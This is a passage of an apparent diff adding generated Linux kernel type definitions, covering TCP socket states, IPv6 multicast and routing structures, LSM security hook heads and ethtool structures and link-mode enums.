TCP_FIN_WAIT1 = 4, + TCP_FIN_WAIT2 = 5, + TCP_TIME_WAIT = 6, + TCP_CLOSE = 7, + TCP_CLOSE_WAIT = 8, + TCP_LAST_ACK = 9, + TCP_LISTEN = 10, + TCP_CLOSING = 11, + TCP_NEW_SYN_RECV = 12, + TCP_MAX_STATES = 13, +}; + +struct request_sock; + +struct request_sock_ops { + int family; + unsigned int obj_size; + struct kmem_cache *slab; + char *slab_name; + int (*rtx_syn_ack)(const struct sock *, struct request_sock *); + void (*send_ack)(const struct sock *, struct sk_buff *, struct request_sock *); + void (*send_reset)(const struct sock *, struct sk_buff *); + void (*destructor)(struct request_sock *); + void (*syn_ack_timeout)(const struct request_sock *); +}; + +struct timewait_sock_ops { + struct kmem_cache *twsk_slab; + char *twsk_slab_name; + unsigned int twsk_obj_size; + int (*twsk_unique)(struct sock *, struct sock *, void *); + void (*twsk_destructor)(struct sock *); +}; + +struct saved_syn; + +struct request_sock { + struct sock_common __req_common; + struct request_sock *dl_next; + u16 mss; + u8 num_retrans; + u8 syncookie: 1; + u8 num_timeout: 7; + u32 ts_recent; + struct timer_list rsk_timer; + const struct request_sock_ops *rsk_ops; + struct sock *sk; + struct saved_syn *saved_syn; + u32 secid; + u32 peer_secid; + u32 timeout; +}; + +struct saved_syn { + u32 mac_hdrlen; + u32 network_hdrlen; + u32 tcp_hdrlen; + u8 data[0]; +}; + +enum tsq_enum { + TSQ_THROTTLED = 0, + TSQ_QUEUED = 1, + TCP_TSQ_DEFERRED = 2, + TCP_WRITE_TIMER_DEFERRED = 3, + TCP_DELACK_TIMER_DEFERRED = 4, + TCP_MTU_REDUCED_DEFERRED = 5, +}; + +struct static_key_false_deferred { + struct static_key_false key; + long unsigned int timeout; + struct delayed_work work; +}; + +struct ip6_sf_list { + struct ip6_sf_list *sf_next; + struct in6_addr sf_addr; + long unsigned int sf_count[2]; + unsigned char sf_gsresp; + unsigned char sf_oldin; + unsigned char sf_crcount; + struct callback_head rcu; +}; + +struct ifmcaddr6 { + struct in6_addr mca_addr; + struct inet6_dev *idev; + struct ifmcaddr6 *next; + struct ip6_sf_list *mca_sources; + struct ip6_sf_list *mca_tomb; + unsigned int mca_sfmode; + unsigned char mca_crcount; + long unsigned int mca_sfcount[2]; + struct delayed_work mca_work; + unsigned int mca_flags; + int mca_users; + refcount_t mca_refcnt; + long unsigned int mca_cstamp; + long unsigned int mca_tstamp; + struct callback_head rcu; +}; + +struct ifacaddr6 { + struct in6_addr aca_addr; + struct fib6_info *aca_rt; + struct ifacaddr6 *aca_next; + struct hlist_node aca_addr_lst; + int aca_users; + refcount_t aca_refcnt; + long unsigned int aca_cstamp; + long unsigned int aca_tstamp; + struct callback_head rcu; +}; + +struct ip6_ra_chain { + struct ip6_ra_chain *next; + struct sock *sk; + int sel; + void (*destructor)(struct sock *); +}; + +struct fib6_result; + +struct fib6_nh; + +struct fib6_config; + +struct ipv6_stub { + int (*ipv6_sock_mc_join)(struct sock *, int, const struct in6_addr *); + int (*ipv6_sock_mc_drop)(struct sock *, int, const struct in6_addr *); + struct dst_entry * (*ipv6_dst_lookup_flow)(struct net *, const struct sock *, struct flowi6 *, const struct in6_addr *); + int (*ipv6_route_input)(struct sk_buff *); + struct fib6_table * (*fib6_get_table)(struct net *, u32); + int (*fib6_lookup)(struct net *, int, struct flowi6 *, struct fib6_result *, int); + int (*fib6_table_lookup)(struct net *, struct fib6_table *, int, struct flowi6 *, struct fib6_result *, int); + void (*fib6_select_path)(const struct net *, struct fib6_result *, struct flowi6 *, int, bool, const struct sk_buff *, int); + u32 (*ip6_mtu_from_fib6)(const struct fib6_result *, const struct in6_addr *, const struct in6_addr *); + int (*fib6_nh_init)(struct net *, struct fib6_nh *, struct fib6_config *, gfp_t, struct netlink_ext_ack *); + void (*fib6_nh_release)(struct fib6_nh *); + void (*fib6_nh_release_dsts)(struct fib6_nh *); + void (*fib6_update_sernum)(struct net *, struct fib6_info *); + int (*ip6_del_rt)(struct net *, struct fib6_info *, bool); + void (*fib6_rt_update)(struct net *, struct fib6_info *, struct nl_info *); + void (*udpv6_encap_enable)(); + void (*ndisc_send_na)(struct net_device *, const struct in6_addr *, const struct in6_addr *, bool, bool, bool, bool); + void (*xfrm6_local_rxpmtu)(struct sk_buff *, u32); + int (*xfrm6_udp_encap_rcv)(struct sock *, struct sk_buff *); + int (*xfrm6_rcv_encap)(struct sk_buff *, int, __be32, int); + struct neigh_table *nd_tbl; + int (*ipv6_fragment)(struct net *, struct sock *, struct sk_buff *, int (*)(struct net *, struct sock *, struct sk_buff *)); + struct net_device * (*ipv6_dev_find)(struct net *, const struct in6_addr *, struct net_device *); +}; + +struct fib6_result { + struct fib6_nh *nh; + struct fib6_info *f6i; + u32 fib6_flags; + u8 fib6_type; + struct rt6_info *rt6; +}; + +struct ipv6_bpf_stub { + int (*inet6_bind)(struct sock *, struct sockaddr *, int, u32); + struct sock * (*udp6_lib_lookup)(struct net *, const struct in6_addr *, __be16, const struct in6_addr *, __be16, int, int, struct udp_table *, struct sk_buff *); + int (*ipv6_setsockopt)(struct sock *, int, int, sockptr_t, unsigned int); + int (*ipv6_getsockopt)(struct sock *, int, int, sockptr_t, sockptr_t); +}; + +enum { + __ND_OPT_PREFIX_INFO_END = 0, + ND_OPT_SOURCE_LL_ADDR = 1, + ND_OPT_TARGET_LL_ADDR = 2, + ND_OPT_PREFIX_INFO = 3, + ND_OPT_REDIRECT_HDR = 4, + ND_OPT_MTU = 5, + ND_OPT_NONCE = 14, + __ND_OPT_ARRAY_MAX = 15, + ND_OPT_ROUTE_INFO = 24, + ND_OPT_RDNSS = 25, + ND_OPT_DNSSL = 31, + ND_OPT_6CO = 34, + ND_OPT_CAPTIVE_PORTAL = 37, + ND_OPT_PREF64 = 38, + __ND_OPT_MAX = 39, +}; + +struct nd_opt_hdr { + __u8 nd_opt_type; + __u8 nd_opt_len; +}; + +struct ndisc_options { + struct nd_opt_hdr *nd_opt_array[15]; + struct nd_opt_hdr *nd_opts_ri; + struct nd_opt_hdr *nd_opts_ri_end; + struct nd_opt_hdr *nd_useropts; + struct nd_opt_hdr *nd_useropts_end; +}; + +struct prefix_info { + __u8 type; + __u8 length; + __u8 prefix_len; + __u8 reserved: 6; + __u8 autoconf: 1; + __u8 onlink: 1; + __be32 valid; + __be32 prefered; + __be32 reserved2; + struct in6_addr prefix; +}; + +struct ip_rt_acct { + __u32 o_bytes; + __u32 o_packets; + __u32 i_bytes; + __u32 i_packets; +}; + +struct security_hook_heads { + struct hlist_head binder_set_context_mgr; + struct hlist_head binder_transaction; + struct hlist_head binder_transfer_binder; + struct hlist_head binder_transfer_file; + struct hlist_head ptrace_access_check; + struct hlist_head ptrace_traceme; + struct hlist_head capget; + struct hlist_head capset; + struct hlist_head capable; + struct hlist_head quotactl; + struct hlist_head quota_on; + struct hlist_head syslog; + struct hlist_head settime; + struct hlist_head vm_enough_memory; + struct hlist_head bprm_creds_for_exec; + struct hlist_head bprm_creds_from_file; + struct hlist_head bprm_check_security; + struct hlist_head bprm_committing_creds; + struct hlist_head bprm_committed_creds; + struct hlist_head fs_context_dup; + struct hlist_head fs_context_parse_param; + struct hlist_head sb_alloc_security; + struct hlist_head sb_delete; + struct hlist_head sb_free_security; + struct hlist_head sb_free_mnt_opts; + struct hlist_head sb_eat_lsm_opts; + struct hlist_head sb_mnt_opts_compat; + struct hlist_head sb_remount; + struct hlist_head sb_kern_mount; + struct hlist_head sb_show_options; + struct hlist_head sb_statfs; + struct hlist_head sb_mount; + struct hlist_head sb_umount; + struct hlist_head sb_pivotroot; + struct hlist_head sb_set_mnt_opts; + struct hlist_head sb_clone_mnt_opts; + struct hlist_head move_mount; + struct hlist_head dentry_init_security; + struct hlist_head dentry_create_files_as; + struct hlist_head path_notify; + struct hlist_head inode_alloc_security; + struct hlist_head inode_free_security; + struct hlist_head inode_init_security; + struct hlist_head inode_init_security_anon; + struct hlist_head inode_create; + struct hlist_head inode_link; + struct hlist_head inode_unlink; + struct hlist_head inode_symlink; + struct hlist_head inode_mkdir; + struct hlist_head inode_rmdir; + struct hlist_head inode_mknod; + struct hlist_head inode_rename; + struct hlist_head inode_readlink; + struct hlist_head inode_follow_link; + struct hlist_head inode_permission; + struct hlist_head inode_setattr; + struct hlist_head inode_getattr; + struct hlist_head inode_setxattr; + struct hlist_head inode_post_setxattr; + struct hlist_head inode_getxattr; + struct hlist_head inode_listxattr; + struct hlist_head inode_removexattr; + struct hlist_head inode_set_acl; + struct hlist_head inode_get_acl; + struct hlist_head inode_remove_acl; + struct hlist_head inode_need_killpriv; + struct hlist_head inode_killpriv; + struct hlist_head inode_getsecurity; + struct hlist_head inode_setsecurity; + struct hlist_head inode_listsecurity; + struct hlist_head inode_getsecid; + struct hlist_head inode_copy_up; + struct hlist_head inode_copy_up_xattr; + struct hlist_head kernfs_init_security; + struct hlist_head file_permission; + struct hlist_head file_alloc_security; + struct hlist_head file_free_security; + struct hlist_head file_ioctl; + struct hlist_head mmap_addr; + struct hlist_head mmap_file; + struct hlist_head file_mprotect; + struct hlist_head file_lock; + struct hlist_head file_fcntl; + struct hlist_head file_set_fowner; + struct hlist_head file_send_sigiotask; + struct hlist_head file_receive; + struct hlist_head file_open; + struct hlist_head file_truncate; + struct hlist_head task_alloc; + struct hlist_head task_free; + struct hlist_head cred_alloc_blank; + struct hlist_head cred_free; + struct hlist_head cred_prepare; + struct hlist_head cred_transfer; + struct hlist_head cred_getsecid; + struct hlist_head kernel_act_as; + struct hlist_head kernel_create_files_as; + struct hlist_head kernel_module_request; + struct hlist_head kernel_load_data; + struct hlist_head kernel_post_load_data; + struct hlist_head kernel_read_file; + struct hlist_head kernel_post_read_file; + struct hlist_head task_fix_setuid; + struct hlist_head task_fix_setgid; + struct hlist_head task_fix_setgroups; + struct hlist_head task_setpgid; + struct hlist_head task_getpgid; + struct hlist_head task_getsid; + struct hlist_head current_getsecid_subj; + struct hlist_head task_getsecid_obj; + struct hlist_head task_setnice; + struct hlist_head task_setioprio; + struct hlist_head task_getioprio; + struct hlist_head task_prlimit; + struct hlist_head task_setrlimit; + struct hlist_head task_setscheduler; + struct hlist_head task_getscheduler; + struct hlist_head task_movememory; + struct hlist_head task_kill; + struct hlist_head task_prctl; + struct hlist_head task_to_inode; + struct hlist_head userns_create; + struct hlist_head ipc_permission; + struct hlist_head ipc_getsecid; + struct hlist_head msg_msg_alloc_security; + struct hlist_head msg_msg_free_security; + struct hlist_head msg_queue_alloc_security; + struct hlist_head msg_queue_free_security; + struct hlist_head msg_queue_associate; + struct hlist_head msg_queue_msgctl; + struct hlist_head msg_queue_msgsnd; + struct hlist_head msg_queue_msgrcv; + struct hlist_head shm_alloc_security; + struct hlist_head shm_free_security; + struct hlist_head shm_associate; + struct hlist_head shm_shmctl; + struct hlist_head shm_shmat; + struct hlist_head sem_alloc_security; + struct hlist_head sem_free_security; + struct hlist_head sem_associate; + struct hlist_head sem_semctl; + struct hlist_head sem_semop; + struct hlist_head netlink_send; + struct hlist_head d_instantiate; + struct hlist_head getprocattr; + struct hlist_head setprocattr; + struct hlist_head ismaclabel; + struct hlist_head secid_to_secctx; + struct hlist_head secctx_to_secid; + struct hlist_head release_secctx; + struct hlist_head inode_invalidate_secctx; + struct hlist_head inode_notifysecctx; + struct hlist_head inode_setsecctx; + struct hlist_head inode_getsecctx; + struct hlist_head unix_stream_connect; + struct hlist_head unix_may_send; + struct hlist_head socket_create; + struct hlist_head socket_post_create; + struct hlist_head socket_socketpair; + struct hlist_head socket_bind; + struct hlist_head socket_connect; + struct hlist_head socket_listen; + struct hlist_head socket_accept; + struct hlist_head socket_sendmsg; + struct hlist_head socket_recvmsg; + struct hlist_head socket_getsockname; + struct hlist_head socket_getpeername; + struct hlist_head socket_getsockopt; + struct hlist_head socket_setsockopt; + struct hlist_head socket_shutdown; + struct hlist_head socket_sock_rcv_skb; + struct hlist_head socket_getpeersec_stream; + struct hlist_head socket_getpeersec_dgram; + struct hlist_head sk_alloc_security; + struct hlist_head sk_free_security; + struct hlist_head sk_clone_security; + struct hlist_head sk_getsecid; + struct hlist_head sock_graft; + struct hlist_head inet_conn_request; + struct hlist_head inet_csk_clone; + struct hlist_head inet_conn_established; + struct hlist_head secmark_relabel_packet; + struct hlist_head secmark_refcount_inc; + struct hlist_head secmark_refcount_dec; + struct hlist_head req_classify_flow; + struct hlist_head tun_dev_alloc_security; + struct hlist_head tun_dev_free_security; + struct hlist_head tun_dev_create; + struct hlist_head tun_dev_attach_queue; + struct hlist_head tun_dev_attach; + struct hlist_head tun_dev_open; + struct hlist_head sctp_assoc_request; + struct hlist_head sctp_bind_connect; + struct hlist_head sctp_sk_clone; + struct hlist_head sctp_assoc_established; + struct hlist_head key_alloc; + struct hlist_head key_free; + struct hlist_head key_permission; + struct hlist_head key_getsecurity; + struct hlist_head audit_rule_init; + struct hlist_head audit_rule_known; + struct hlist_head audit_rule_match; + struct hlist_head audit_rule_free; + struct hlist_head bpf; + struct hlist_head bpf_map; + struct hlist_head bpf_prog; + struct hlist_head bpf_map_alloc_security; + struct hlist_head bpf_map_free_security; + struct hlist_head bpf_prog_alloc_security; + struct hlist_head bpf_prog_free_security; + struct hlist_head locked_down; + struct hlist_head perf_event_open; + struct hlist_head perf_event_alloc; + struct hlist_head perf_event_free; + struct hlist_head perf_event_read; + struct hlist_head perf_event_write; + struct hlist_head uring_override_creds; + struct hlist_head uring_sqpoll; + struct hlist_head uring_cmd; +}; + +struct lsm_blob_sizes { + int lbs_cred; + int lbs_file; + int lbs_inode; + int lbs_superblock; + int lbs_ipc; + int lbs_msg_msg; + int lbs_task; +}; + +enum lsm_order { + LSM_ORDER_FIRST = -1, + LSM_ORDER_MUTABLE = 0, + LSM_ORDER_LAST = 1, +}; + +struct lsm_info { + const char *name; + enum lsm_order order; + long unsigned int flags; + int *enabled; + int (*init)(); + struct lsm_blob_sizes *blobs; +}; + +enum audit_ntp_type { + AUDIT_NTP_OFFSET = 0, + AUDIT_NTP_FREQ = 1, + AUDIT_NTP_STATUS = 2, + AUDIT_NTP_TAI = 3, + AUDIT_NTP_TICK = 4, + AUDIT_NTP_ADJUST = 5, + AUDIT_NTP_NVALS = 6, +}; + +struct ethtool_drvinfo { + __u32 cmd; + char driver[32]; + char version[32]; + char fw_version[32]; + char bus_info[32]; + char erom_version[32]; + char reserved2[12]; + __u32 n_priv_flags; + __u32 n_stats; + __u32 testinfo_len; + __u32 eedump_len; + __u32 regdump_len; +}; + +struct ethtool_wolinfo { + __u32 cmd; + __u32 supported; + __u32 wolopts; + __u8 sopass[6]; +}; + +struct ethtool_tunable { + __u32 cmd; + __u32 id; + __u32 type_id; + __u32 len; + void *data[0]; +}; + +struct ethtool_regs { + __u32 cmd; + __u32 version; + __u32 len; + __u8 data[0]; +}; + +struct ethtool_eeprom { + __u32 cmd; + __u32 magic; + __u32 offset; + __u32 len; + __u8 data[0]; +}; + +struct ethtool_eee { + __u32 cmd; + __u32 supported; + __u32 advertised; + __u32 lp_advertised; + __u32 eee_active; + __u32 eee_enabled; + __u32 tx_lpi_enabled; + __u32 tx_lpi_timer; + __u32 reserved[2]; +}; + +struct ethtool_modinfo { + __u32 cmd; + __u32 type; + __u32 eeprom_len; + __u32 reserved[8]; +}; + +struct ethtool_coalesce { + __u32 cmd; + __u32 rx_coalesce_usecs; + __u32 rx_max_coalesced_frames; + __u32 rx_coalesce_usecs_irq; + __u32 rx_max_coalesced_frames_irq; + __u32 tx_coalesce_usecs; + __u32 tx_max_coalesced_frames; + __u32 tx_coalesce_usecs_irq; + __u32 tx_max_coalesced_frames_irq; + __u32 stats_block_coalesce_usecs; + __u32 use_adaptive_rx_coalesce; + __u32 use_adaptive_tx_coalesce; + __u32 pkt_rate_low; + __u32 rx_coalesce_usecs_low; + __u32 rx_max_coalesced_frames_low; + __u32 tx_coalesce_usecs_low; + __u32 tx_max_coalesced_frames_low; + __u32 pkt_rate_high; + __u32 rx_coalesce_usecs_high; + __u32 rx_max_coalesced_frames_high; + __u32 tx_coalesce_usecs_high; + __u32 tx_max_coalesced_frames_high; + __u32 rate_sample_interval; +}; + +struct ethtool_ringparam { + __u32 cmd; + __u32 rx_max_pending; + __u32 rx_mini_max_pending; + __u32 rx_jumbo_max_pending; + __u32 tx_max_pending; + __u32 rx_pending; + __u32 rx_mini_pending; + __u32 rx_jumbo_pending; + __u32 tx_pending; +}; + +struct ethtool_channels { + __u32 cmd; + __u32 max_rx; + __u32 max_tx; + __u32 max_other; + __u32 max_combined; + __u32 rx_count; + __u32 tx_count; + __u32 other_count; + __u32 combined_count; +}; + +struct ethtool_pauseparam { + __u32 cmd; + __u32 autoneg; + __u32 rx_pause; + __u32 tx_pause; +}; + +enum ethtool_link_ext_state { + ETHTOOL_LINK_EXT_STATE_AUTONEG = 0, + ETHTOOL_LINK_EXT_STATE_LINK_TRAINING_FAILURE = 1, + ETHTOOL_LINK_EXT_STATE_LINK_LOGICAL_MISMATCH = 2, + ETHTOOL_LINK_EXT_STATE_BAD_SIGNAL_INTEGRITY = 3, + ETHTOOL_LINK_EXT_STATE_NO_CABLE = 4, + ETHTOOL_LINK_EXT_STATE_CABLE_ISSUE = 5, + ETHTOOL_LINK_EXT_STATE_EEPROM_ISSUE = 6, + ETHTOOL_LINK_EXT_STATE_CALIBRATION_FAILURE = 7, + ETHTOOL_LINK_EXT_STATE_POWER_BUDGET_EXCEEDED = 8, + ETHTOOL_LINK_EXT_STATE_OVERHEAT = 9, + ETHTOOL_LINK_EXT_STATE_MODULE = 10, +}; + +enum ethtool_link_ext_substate_autoneg { + ETHTOOL_LINK_EXT_SUBSTATE_AN_NO_PARTNER_DETECTED = 1, + ETHTOOL_LINK_EXT_SUBSTATE_AN_ACK_NOT_RECEIVED = 2, + ETHTOOL_LINK_EXT_SUBSTATE_AN_NEXT_PAGE_EXCHANGE_FAILED = 3, + ETHTOOL_LINK_EXT_SUBSTATE_AN_NO_PARTNER_DETECTED_FORCE_MODE = 4, + ETHTOOL_LINK_EXT_SUBSTATE_AN_FEC_MISMATCH_DURING_OVERRIDE = 5, + ETHTOOL_LINK_EXT_SUBSTATE_AN_NO_HCD = 6, +}; + +enum ethtool_link_ext_substate_link_training { + ETHTOOL_LINK_EXT_SUBSTATE_LT_KR_FRAME_LOCK_NOT_ACQUIRED = 1, + ETHTOOL_LINK_EXT_SUBSTATE_LT_KR_LINK_INHIBIT_TIMEOUT = 2, + ETHTOOL_LINK_EXT_SUBSTATE_LT_KR_LINK_PARTNER_DID_NOT_SET_RECEIVER_READY = 3, + ETHTOOL_LINK_EXT_SUBSTATE_LT_REMOTE_FAULT = 4, +}; + +enum ethtool_link_ext_substate_link_logical_mismatch { + ETHTOOL_LINK_EXT_SUBSTATE_LLM_PCS_DID_NOT_ACQUIRE_BLOCK_LOCK = 1, + ETHTOOL_LINK_EXT_SUBSTATE_LLM_PCS_DID_NOT_ACQUIRE_AM_LOCK = 2, + ETHTOOL_LINK_EXT_SUBSTATE_LLM_PCS_DID_NOT_GET_ALIGN_STATUS = 3, + ETHTOOL_LINK_EXT_SUBSTATE_LLM_FC_FEC_IS_NOT_LOCKED = 4, + ETHTOOL_LINK_EXT_SUBSTATE_LLM_RS_FEC_IS_NOT_LOCKED = 5, +}; + +enum ethtool_link_ext_substate_bad_signal_integrity { + ETHTOOL_LINK_EXT_SUBSTATE_BSI_LARGE_NUMBER_OF_PHYSICAL_ERRORS = 1, + ETHTOOL_LINK_EXT_SUBSTATE_BSI_UNSUPPORTED_RATE = 2, + ETHTOOL_LINK_EXT_SUBSTATE_BSI_SERDES_REFERENCE_CLOCK_LOST = 3, + ETHTOOL_LINK_EXT_SUBSTATE_BSI_SERDES_ALOS = 4, +}; + +enum ethtool_link_ext_substate_cable_issue { + ETHTOOL_LINK_EXT_SUBSTATE_CI_UNSUPPORTED_CABLE = 1, + ETHTOOL_LINK_EXT_SUBSTATE_CI_CABLE_TEST_FAILURE = 2, +}; + +enum ethtool_link_ext_substate_module { + ETHTOOL_LINK_EXT_SUBSTATE_MODULE_CMIS_NOT_READY = 1, +}; + +enum ethtool_mac_stats_src { + ETHTOOL_MAC_STATS_SRC_AGGREGATE = 0, + ETHTOOL_MAC_STATS_SRC_EMAC = 1, + ETHTOOL_MAC_STATS_SRC_PMAC = 2, +}; + +enum ethtool_module_power_mode_policy { + ETHTOOL_MODULE_POWER_MODE_POLICY_HIGH = 1, + ETHTOOL_MODULE_POWER_MODE_POLICY_AUTO = 2, +}; + +enum ethtool_module_power_mode { + ETHTOOL_MODULE_POWER_MODE_LOW = 1, + ETHTOOL_MODULE_POWER_MODE_HIGH = 2, +}; + +enum ethtool_mm_verify_status { + ETHTOOL_MM_VERIFY_STATUS_UNKNOWN = 0, + ETHTOOL_MM_VERIFY_STATUS_INITIAL = 1, + ETHTOOL_MM_VERIFY_STATUS_VERIFYING = 2, + ETHTOOL_MM_VERIFY_STATUS_SUCCEEDED = 3, + ETHTOOL_MM_VERIFY_STATUS_FAILED = 4, + ETHTOOL_MM_VERIFY_STATUS_DISABLED = 5, +}; + +struct ethtool_test { + __u32 cmd; + __u32 flags; + __u32 reserved; + __u32 len; + __u64 data[0]; +}; + +struct ethtool_stats { + __u32 cmd; + __u32 n_stats; + __u64 data[0]; +}; + +struct ethtool_tcpip4_spec { + __be32 ip4src; + __be32 ip4dst; + __be16 psrc; + __be16 pdst; + __u8 tos; +}; + +struct ethtool_ah_espip4_spec { + __be32 ip4src; + __be32 ip4dst; + __be32 spi; + __u8 tos; +}; + +struct ethtool_usrip4_spec { + __be32 ip4src; + __be32 ip4dst; + __be32 l4_4_bytes; + __u8 tos; + __u8 ip_ver; + __u8 proto; +}; + +struct ethtool_tcpip6_spec { + __be32 ip6src[4]; + __be32 ip6dst[4]; + __be16 psrc; + __be16 pdst; + __u8 tclass; +}; + +struct ethtool_ah_espip6_spec { + __be32 ip6src[4]; + __be32 ip6dst[4]; + __be32 spi; + __u8 tclass; +}; + +struct ethtool_usrip6_spec { + __be32 ip6src[4]; + __be32 ip6dst[4]; + __be32 l4_4_bytes; + __u8 tclass; + __u8 l4_proto; +}; + +union ethtool_flow_union { + struct ethtool_tcpip4_spec tcp_ip4_spec; + struct ethtool_tcpip4_spec udp_ip4_spec; + struct ethtool_tcpip4_spec sctp_ip4_spec; + struct ethtool_ah_espip4_spec ah_ip4_spec; + struct ethtool_ah_espip4_spec esp_ip4_spec; + struct ethtool_usrip4_spec usr_ip4_spec; + struct ethtool_tcpip6_spec tcp_ip6_spec; + struct ethtool_tcpip6_spec udp_ip6_spec; + struct ethtool_tcpip6_spec sctp_ip6_spec; + struct ethtool_ah_espip6_spec ah_ip6_spec; + struct ethtool_ah_espip6_spec esp_ip6_spec; + struct ethtool_usrip6_spec usr_ip6_spec; + struct ethhdr ether_spec; + __u8 hdata[52]; +}; + +struct ethtool_flow_ext { + __u8 padding[2]; + unsigned char h_dest[6]; + __be16 vlan_etype; + __be16 vlan_tci; + __be32 data[2]; +}; + +struct ethtool_rx_flow_spec { + __u32 flow_type; + union ethtool_flow_union h_u; + struct ethtool_flow_ext h_ext; + union ethtool_flow_union m_u; + struct ethtool_flow_ext m_ext; + __u64 ring_cookie; + __u32 location; +}; + +struct ethtool_rxnfc { + __u32 cmd; + __u32 flow_type; + __u64 data; + struct ethtool_rx_flow_spec fs; + union { + __u32 rule_cnt; + __u32 rss_context; + }; + __u32 rule_locs[0]; +}; + +struct ethtool_flash { + __u32 cmd; + __u32 region; + char data[128]; +}; + +struct ethtool_dump { + __u32 cmd; + __u32 version; + __u32 flag; + __u32 len; + __u8 data[0]; +}; + +struct ethtool_ts_info { + __u32 cmd; + __u32 so_timestamping; + __s32 phc_index; + __u32 tx_types; + __u32 tx_reserved[3]; + __u32 rx_filters; + __u32 rx_reserved[3]; +}; + +struct ethtool_fecparam { + __u32 cmd; + __u32 active_fec; + __u32 fec; + __u32 reserved; +}; + +enum ethtool_link_mode_bit_indices { + ETHTOOL_LINK_MODE_10baseT_Half_BIT = 0, + ETHTOOL_LINK_MODE_10baseT_Full_BIT = 1, + ETHTOOL_LINK_MODE_100baseT_Half_BIT = 2, + ETHTOOL_LINK_MODE_100baseT_Full_BIT = 3, + ETHTOOL_LINK_MODE_1000baseT_Half_BIT = 4, + ETHTOOL_LINK_MODE_1000baseT_Full_BIT = 5, + ETHTOOL_LINK_MODE_Autoneg_BIT = 6, + ETHTOOL_LINK_MODE_TP_BIT = 7, + ETHTOOL_LINK_MODE_AUI_BIT = 8, + ETHTOOL_LINK_MODE_MII_BIT = 9, + ETHTOOL_LINK_MODE_FIBRE_BIT = 10, + ETHTOOL_LINK_MODE_BNC_BIT = 11, + ETHTOOL_LINK_MODE_10000baseT_Full_BIT = 12, + ETHTOOL_LINK_MODE_Pause_BIT = 13, + ETHTOOL_LINK_MODE_Asym_Pause_BIT = 14, + ETHTOOL_LINK_MODE_2500baseX_Full_BIT = 15, + ETHTOOL_LINK_MODE_Backplane_BIT = 16, + ETHTOOL_LINK_MODE_1000baseKX_Full_BIT = 17, + ETHTOOL_LINK_MODE_10000baseKX4_Full_BIT = 18, + ETHTOOL_LINK_MODE_10000baseKR_Full_BIT = 19, + ETHTOOL_LINK_MODE_10000baseR_FEC_BIT = 20, + ETHTOOL_LINK_MODE_20000baseMLD2_Full_BIT = 21, + ETHTOOL_LINK_MODE_20000baseKR2_Full_BIT = 22, + ETHTOOL_LINK_MODE_40000baseKR4_Full_BIT = 23, + ETHTOOL_LINK_MODE_40000baseCR4_Full_BIT = 24, + ETHTOOL_LINK_MODE_40000baseSR4_Full_BIT = 25, + ETHTOOL_LINK_MODE_40000baseLR4_Full_BIT = 26, + ETHTOOL_LINK_MODE_56000baseKR4_Full_BIT = 27, + ETHTOOL_LINK_MODE_56000baseCR4_Full_BIT = 28, + ETHTOOL_LINK_MODE_56000baseSR4_Full_BIT = 29, + ETHTOOL_LINK_MODE_56000baseLR4_Full_BIT = 30, + ETHTOOL_LINK_MODE_25000baseCR_Full_BIT = 31, + ETHTOOL_LINK_MODE_25000baseKR_Full_BIT = 32, + ETHTOOL_LINK_MODE_25000baseSR_Full_BIT = 33, + ETHTOOL_LINK_MODE_50000baseCR2_Full_BIT = 34, + ETHTOOL_LINK_MODE_50000baseKR2_Full_BIT = 35, + ETHTOOL_LINK_MODE_100000baseKR4_Full_BIT = 36, + ETHTOOL_LINK_MODE_100000baseSR4_Full_BIT = 37, + ETHTOOL_LINK_MODE_100000baseCR4_Full_BIT = 38, + ETHTOOL_LINK_MODE_100000baseLR4_ER4_Full_BIT = 39, + ETHTOOL_LINK_MODE_50000baseSR2_Full_BIT = 40, + ETHTOOL_LINK_MODE_1000baseX_Full_BIT = 41, + ETHTOOL_LINK_MODE_10000baseCR_Full_BIT = 42, + ETHTOOL_LINK_MODE_10000baseSR_Full_BIT = 43, + ETHTOOL_LINK_MODE_10000baseLR_Full_BIT = 44, + ETHTOOL_LINK_MODE_10000baseLRM_Full_BIT = 45, + ETHTOOL_LINK_MODE_10000baseER_Full_BIT = 46, + ETHTOOL_LINK_MODE_2500baseT_Full_BIT = 47, + ETHTOOL_LINK_MODE_5000baseT_Full_BIT = 48, + ETHTOOL_LINK_MODE_FEC_NONE_BIT = 49, + ETHTOOL_LINK_MODE_FEC_RS_BIT = 50, + ETHTOOL_LINK_MODE_FEC_BASER_BIT = 51, + ETHTOOL_LINK_MODE_50000baseKR_Full_BIT = 52, + ETHTOOL_LINK_MODE_50000baseSR_Full_BIT = 53, + ETHTOOL_LINK_MODE_50000baseCR_Full_BIT = 54, + ETHTOOL_LINK_MODE_50000baseLR_ER_FR_Full_BIT = 55, + ETHTOOL_LINK_MODE_50000baseDR_Full_BIT = 56, + ETHTOOL_LINK_MODE_100000baseKR2_Full_BIT = 57, + ETHTOOL_LINK_MODE_100000baseSR2_Full_BIT = 58, + ETHTOOL_LINK_MODE_100000baseCR2_Full_BIT = 59, + ETHTOOL_LINK_MODE_100000baseLR2_ER2_FR2_Full_BIT = 60, + ETHTOOL_LINK_MODE_100000baseDR2_Full_BIT = 61, + ETHTOOL_LINK_MODE_200000baseKR4_Full_BIT = 62, + ETHTOOL_LINK_MODE_200000baseSR4_Full_BIT = 63, + ETHTOOL_LINK_MODE_200000baseLR4_ER4_FR4_Full_BIT = 64, + ETHTOOL_LINK_MODE_200000baseDR4_Full_BIT = 65, + ETHTOOL_LINK_MODE_200000baseCR4_Full_BIT = 66, + ETHTOOL_LINK_MODE_100baseT1_Full_BIT = 67, + ETHTOOL_LINK_MODE_1000baseT1_Full_BIT = 68, + ETHTOOL_LINK_MODE_400000baseKR8_Full_BIT = 69, + ETHTOOL_LINK_MODE_400000baseSR8_Full_BIT = 70, + ETHTOOL_LINK_MODE_400000baseLR8_ER8_FR8_Full_BIT = 71, + ETHTOOL_LINK_MODE_400000baseDR8_Full_BIT = 72, + ETHTOOL_LINK_MODE_400000baseCR8_Full_BIT = 73, + ETHTOOL_LINK_MODE_FEC_LLRS_BIT = 74, + ETHTOOL_LINK_MODE_100000baseKR_Full_BIT = 75, + ETHTOOL_LINK_MODE_100000baseSR_Full_BIT = 76, + ETHTOOL_LINK_MODE_100000baseLR_ER_FR_Full_BIT = 77, + ETHTOOL_LINK_MODE_100000baseCR_Full_BIT = 78, + ETHTOOL_LINK_MODE_100000baseDR_Full_BIT = 79, + ETHTOOL_LINK_MODE_200000baseKR2_Full_BIT = 80, + ETHTOOL_LINK_MODE_200000baseSR2_Full_BIT = 81, + ETHTOOL_LINK_MODE_200000baseLR2_ER2_FR2_Full_BIT = 82, + ETHTOOL_LINK_MODE_200000baseDR2_Full_BIT = 83, + 